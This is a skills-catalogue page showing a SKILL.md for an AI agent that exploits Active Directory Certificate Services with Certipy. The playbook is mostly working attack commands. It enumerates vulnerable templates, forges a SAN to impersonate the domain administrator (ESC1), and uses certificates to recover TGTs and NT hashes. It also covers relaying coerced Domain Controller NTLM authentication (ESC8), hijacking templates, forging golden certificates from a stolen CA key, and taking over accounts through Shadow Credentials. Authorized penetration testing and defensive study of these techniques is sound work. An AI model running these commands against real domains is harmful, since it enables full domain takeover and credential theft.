exploiting-adcs-with-certipy

mukul975/Anthropic-Cybersecurity-Skills

Перечисление и эксплуатация ошибок конфигурации AD CS ESC1–ESC16 с Certipy, включая SAN abuse, NTLM relay (ESC8) и подделку golden certificate.

Звёзды36 321
Авторmukul975
Установок45

Установка

SKILL.md

Exploiting AD CS with Certipy

Legal Notice: This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.

Overview

Active Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper Certified Pre-Owned, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.

Certipy (package certipy-ad, maintained by Oliver Lyak / ly4k) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP/RPC, requests and forges certificates, performs PKINIT/Schannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: ly4k/Certipy and SpecterOps "Certified Pre-Owned".

When to Use

  • During internal penetration tests and red-team engagements where AD CS is in scope
  • When a low-privileged domain foothold needs a path to Domain Admin / Domain Controller
  • To validate that certificate template ACLs and CA configuration are hardened
  • When testing detection coverage for certificate-based privilege escalation
  • During purple-team exercises to generate ESC1/ESC8 telemetry for blue-team tuning

Prerequisites

  • Authorized engagement scope that explicitly includes AD CS exploitation
  • A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user
  • Network reachability to a Domain Controller (LDAP/389, LDAPS/636) and the CA host
  • Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host
  • Install Certipy:<!-- -->
    # Recommended isolated install
    pipx install certipy-ad
    # Or with pip
    pip install certipy-ad
    # Verify
    certipy --version
    
  • For ESC8 relay you also need a coercion tool (Coercer/PetitPotam) and reachable victim machine accounts

Objectives

  • Enumerate every CA, template, and enrollment endpoint in the forest
  • Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal
  • Request a certificate impersonating a privileged target (ESC1 SAN abuse)
  • Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)
  • Authenticate with a forged/issued certificate to recover a TGT and NT hash
  • Document each finding with evidence and remediation guidance

MITRE ATT&CK Mapping

IDTechniqueApplication in this skill
T1649Steal or Forge Authentication CertificatesRequesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals

Workflow

Step 1: Enumerate AD CS with certipy find

Collect CA and template configuration and flag vulnerable templates. find runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.

# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -text -enabled -hide-admins

# Output only templates Certipy considers vulnerable
certipy find \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -vulnerable -stdout

# Authenticate with an NT hash instead of a password
certipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
    -dc-ip 10.0.0.100 -vulnerable -stdout

Review the [!] Vulnerabilities block in the output. Each finding is labeled ESC1...ESC16 with the affected template/CA name.

Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)

ESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).

certipy req \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
    -ca 'CORP-CA' -template 'VulnUserTemplate' \
    -upn 'administrator@corp.local' \
    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'
# -> saves administrator.pfx

Step 3: Authenticate with the certificate via certipy auth

Use the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
# Output: a .ccache TGT and the recovered NT hash for administrator

If PKINIT is unavailable, fall back to Schannel/LDAP authentication:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell

Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment

ESC8 abuses the AD CS web enrollment interface (/certsrv/) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).

# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'

# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

Certipy writes a dc.pfx. Authenticate as the DC machine account and DCSync:

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100

Step 5: Exploit ESC4 — Template ACL hijack

If you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.

# Make the template vulnerable (save the original config first)
certipy template -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration

Step 6: Forge a Golden Certificate (post-compromise persistence)

With access to the CA's private key (e.g., via backup), forge certificates for any principal offline.

# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u 'admin@corp.local' -hashes :<nthash> \
    -ca 'CORP-CA' -dc-ip 10.0.0.100

# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
    -upn 'administrator@corp.local' \
    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'

Step 7: Shadow Credentials shortcut

If you have write access to a target's msDS-KeyCredentialLink, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim-dc$'

Tools and Resources

ResourcePurposeLink
Certipy (ly4k)Primary AD CS attack toolkithttps://github.com/ly4k/Certipy
Certipy WikiCommand reference and ESC explanationshttps://github.com/ly4k/Certipy/wiki
Certified Pre-Owned (SpecterOps)Original ESC1-ESC8 researchhttps://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
The Hacker Recipes — AD CSAttack walkthroughshttps://www.thehacker.recipes/ad/movement/ad-cs
Impacket ntlmrelayxAlternative ESC8 relayhttps://github.com/fortra/impacket

ESC Vulnerability Reference

ESCMisconfiguration
ESC1Enrollee-supplied subject + Client Auth EKU on a low-priv template
ESC2Any Purpose / no EKU template usable as enrollment agent
ESC3Enrollment Agent template with loose enroll rights
ESC4Write access over a template (hijack into ESC1)
ESC5Weak ACLs on PKI objects (CA, NTAuthCertificates)
ESC6CA EDITF_ATTRIBUTESUBJECTALTNAME2 allows arbitrary SAN
ESC7Dangerous Manage CA / Manage Certificates permissions
ESC8NTLM relay to AD CS HTTP web enrollment
ESC9No security extension (szOID_NTDS_CA_SECURITY_EXT) on template
ESC10Weak certificate mapping registry settings
ESC11NTLM relay to AD CS RPC (ICertPassage) endpoint
ESC13Issuance policy linked to a privileged group (OID group link)
ESC15Application Policies abuse (CVE-2024-49019, "EKUwu")
ESC16Security extension disabled CA-wide

Validation Criteria

  • certipy find -vulnerable ran and produced a list of exploitable templates/CAs
  • <!-- -->At least one ESC misconfiguration confirmed with a successful certipy req
  • certipy auth returned a TGT and NT hash for the impersonated privileged account
  • <!-- -->ESC8 relay (if in scope) yielded a Domain Controller certificate
  • <!-- -->Any modified template (ESC4) was restored to its original configuration
  • <!-- -->Each finding documented with command output, affected object, and remediation
  • <!-- -->Issued certificates and PFX files securely handled and removed at engagement close

Вставить в README

Ссылка на карточку для вашего README — без картинок и счётчиков.

[DarkPlay: exploiting-adcs-with-certipy](https://darkplay.ru/ai/skills/mukul975-anthropic-cybersecurity-skills-exploiting-adcs-with-certipy)

Описание

Перечисление и эксплуатация ошибок конфигурации Active Directory Certificate Services ESC1–ESC16 с помощью Certipy, включая злоупотребление SAN, NTLM relay на web enrollment (ESC8) и подделку golden certificate.

Похожие скиллы и другие разделы каталога

Популярное в разделе «Скиллы»

Самые востребованные скиллов раздела по установкам и звёздам.

find-skillsvercel-labs · Помогает находить и устанавливать навыки агентов по запросам вроде «как сделать X»…
4 400 000 устан.
grill-memattpocock · Настойчивое интервью для доработки плана или дизайна.
1 600 000 устан.
hyperframesheygen-com · Обязательная точка входа для любых задач по видео, анимации и motion-графике в…
1 600 000 устан.
hyperframes-cliheygen-com · Цикл разработки HyperFrames CLI: init, add, render, preview, publish и другие команды.
1 600 000 устан.
agent-browservercel-labs · CLI для автоматизации браузера для ИИ-агентов: навигация по страницам, заполнение форм…
1 600 000 устан.
media-useheygen-com · Agent Media OS: единый навык для медиа в HyperFrames — BGM, SFX, изображения, голос, LUT.
1 500 000 устан.
hyperframes-registryheygen-com · Установка и подключение блоков реестра в композиции HyperFrames через add и catalog.
1 400 000 устан.
grill-with-docsmattpocock · Настойчивое интервью для доработки плана или дизайна, попутно создающее документацию (ADR…
1 300 000 устан.
improve-codebase-architecturemattpocock · Поиск в кодовой базе возможностей для углубления, визуальный HTML-отчёт о них и детальный…
1 300 000 устан.
tddmattpocock · Разработка через тестирование (TDD): red-green-refactor и интеграционные тесты.
1 300 000 устан.
Похожее в других разделах каталога

Соседние разделы каталога: возможно, нужный инструмент живёт там.

Agent Evaluatoraffaan-m · Оценивает результат агента по рубрике качества из 5 критериев (точность, полнота…
225 587 ★
Build Error Resolveraffaan-m · Специалист по устранению ошибок сборки и TypeScript. Используйте ПРОАКТИВНО при сбое…
225 587 ★
Code Architectaffaan-m · Проектирует архитектуру функций, анализируя существующие паттерны и соглашения кодовой…
225 587 ★
Conversation Analyzeraffaan-m · Анализ транскриптов диалогов для поиска поведения, которое стоит блокировать хуками.
225 587 ★
Cpp Build Resolveraffaan-m · Специалист по ошибкам сборки C++, CMake и линковки.
225 587 ★
Dart Build Resolveraffaan-m · Специалист по ошибкам сборки Dart/Flutter, зависимостей и build_runner.
225 587 ★
Django Build Resolveraffaan-m · Специалист по ошибкам Django: pip/Poetry, миграции, импорты, collectstatic.
225 587 ★
Docs Lookupaffaan-m · Получает актуальную документацию и примеры кода через Context7 MCP для вопросов по API и…
225 587 ★
E2e Runneraffaan-m · Специалист по E2E-тестам на Vercel Agent Browser и Playwright: генерация, запуск и…
225 587 ★
Flutter Revieweraffaan-m · Ревьюер кода Flutter и Dart: виджеты, управление состоянием, идиомы и архитектура.
225 587 ★

Лучшие ИИ-инструменты для генерации видео

Генерация видео

Подборка нейросетей для генерации и монтажа видео. Инструменты, которые превращают текст в готовые ролики, экономят часы на съемках и постпродакшне. Подходит для SMM-специалистов,

VEED.IOVeed
По запросу
5.0
MootionMootion
По запросу
5.0
FlyviFlyvi
Есть бесплатный тариф
4.9
Google Veo 3.1Google
Платно
4.9
Sora (OpenAI)OpenAI
Платно
4.9
PikaPika
Платно
4.9
captions space
Есть бесплатный тариф
4.8
Клайп
Есть бесплатный тариф
4.8
viralpulse.appViralpulse
По запросу
4.8
Viral Maker AIViral-maker
Есть бесплатный тариф
4.8

Лучшие ИИ-инструменты для генерации текста и копирайтинга

Генерация текста и копирайтинг

Подборка нейросетей для генерации текстов и копирайтинга. Сервисы, которые помогают создавать статьи, посты и рекламные объявления с нуля или по черновику, экономя часы рутинной ра

NeuroscribeNeuroscribe
Есть бесплатный тариф
5.0
GoGPTGogpt
По запросу
5.0
ChatsonicChatsonic
По запросу
4.9
НейроТекстерNeuro-texter
По запросу
4.9
ChatGPTOpenAI
По подписке
4.9
Редактум
Есть бесплатный тариф
4.8
ChadGPTChadgpt
По запросу
4.8
Cosmo ScribeCosmoscribe
Есть бесплатный тариф
4.8
Memo HelperCopilot33
По запросу
4.8
LibraChatLibrachat
Есть бесплатный тариф
4.8

Лучшие ИИ-инструменты для генерации изображений

Генерация изображений

Подборка нейросетей для генерации изображений от фотореализма до концепт-арта. Сервисы, которые экономят часы ручной работы, создавая визуал для блогов, рекламы и дизайна за минуты

MagviMagvi
По запросу
5.0
DALL-E 3OpenAI
По подписке
5.0
SupaLabSupalab
По запросу
5.0
Freestyling.aiFreestyling
Есть бесплатный тариф
4.9
ArtGeneration.meArtgeneration
Есть бесплатный тариф
4.9
BigjpgBigjpg
По запросу
4.9
Художник от VKVK
Бесплатно
4.9
Wonderink — ИИ-книги
Есть бесплатный тариф
4.8
Avato AI12ai
По запросу
4.8
Virton AIVirton
По запросу
4.8